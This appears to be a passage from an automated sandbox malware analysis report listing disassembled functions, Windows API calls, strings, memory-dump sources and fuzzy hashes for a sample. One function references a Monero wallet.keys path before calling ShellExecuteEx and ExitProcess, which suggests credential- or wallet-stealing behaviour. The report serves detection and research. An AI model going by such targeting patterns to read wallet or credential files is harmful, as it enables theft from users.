Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 56f0153980db213a153aed4f2c8ca1bb9bcdb8fd30438e408e0052ab33dd535b
Instruction ID: 7338bb746a8fbac0c61e6425fa5eb26abd5634d6c2f5a1d26a448b42e9544a1c
Opcode Fuzzy Hash: 56f0153980db213a153aed4f2c8ca1bb9bcdb8fd30438e408e0052ab33dd535b
Instruction Fuzzy Hash: E2613C70A142489BDB24EFA4CC96FED7776EF45344F40811CF90A5F282EB706A46CB96

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 006D9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(013EDAA0,?,?,?,006D140C,?,013EDAA0,00000000), ref: 006D926C
lstrcpyn.KERNEL32(0090AB88,013EDAA0,013EDAA0,?,006D140C,?,013EDAA0), ref: 006D9290
lstrlen.KERNEL32(?,?,006D140C,?,013EDAA0), ref: 006D92A7
wsprintfA.USER32 ref: 006D92C7

Strings

%s%s, xrefs: 006D92B5

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 48e039f2e3643045ef852f6b7dd1fba1c8385538b522dfa39bb7786c9e4b4783
Instruction ID: da972f705f7a5b424ef5a99ae0fe194819383302f89a7918ef0a4fd6518458ea
Opcode Fuzzy Hash: 48e039f2e3643045ef852f6b7dd1fba1c8385538b522dfa39bb7786c9e4b4783
Instruction Fuzzy Hash: 8E01A976914208FFCB04DFECC984EAE7BB9EB44364F148148F9099B345C671AA40DBD1

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

<jemalloc>, xrefs: 6C690D92, 6C690DB9
: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 006DC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 006DC8EC
___crtLCMapStringA.LIBCMT ref: 006DC90C
___crtLCMapStringA.LIBCMT ref: 006DC931

Strings

, xrefs: 006DC896

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 7d3e522b2e6c64466ad2e3ba5d24a94a1b621c52e752d5aa7653b3fc29cf697f
Instruction ID: 7dc19b575024fe58213d82b6c54000328f87b2c8cc69b0e9a17f9b71c7017906
Opcode Fuzzy Hash: 7d3e522b2e6c64466ad2e3ba5d24a94a1b621c52e752d5aa7653b3fc29cf697f
Instruction Fuzzy Hash: 77415AB190079C5EDB218B24CC94FFB7BEE9F41314F1444EDE5CA8A282D2719A45DF60

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 006D6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 006D6663

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

ShellExecuteEx.SHELL32(0000003C), ref: 006D6726
ExitProcess.KERNEL32 ref: 006D6755

Strings

<, xrefs: 006D66D9

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 20a9deb4fa454b25dd19104e2e2f5f86b8b5038ab2c7575359e150a30dd59351
Instruction ID: 51c0ba7cf4da101d1c804bf76b9cc093d2b77b95c9f96e612e40ea09afd272f9
Opcode Fuzzy Hash: 20a9deb4fa454b25dd19104e2e2f5f86b8b5038ab2c7575359e150a30dd59351
Instruction Fuzzy Hash: F53149B1C15218AFDB54EB90DC96FDEB779AF44300F40418AF20966291DF746B48CFAA

Function 006D87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006E0E28,00000000,?), ref: 006D882F
RtlAllocateHeap.NTDLL(00000000), ref: 006D8836
wsprintfA.USER32 ref: 006D8850

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Strings

%dx%d, xrefs: 006D8847

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
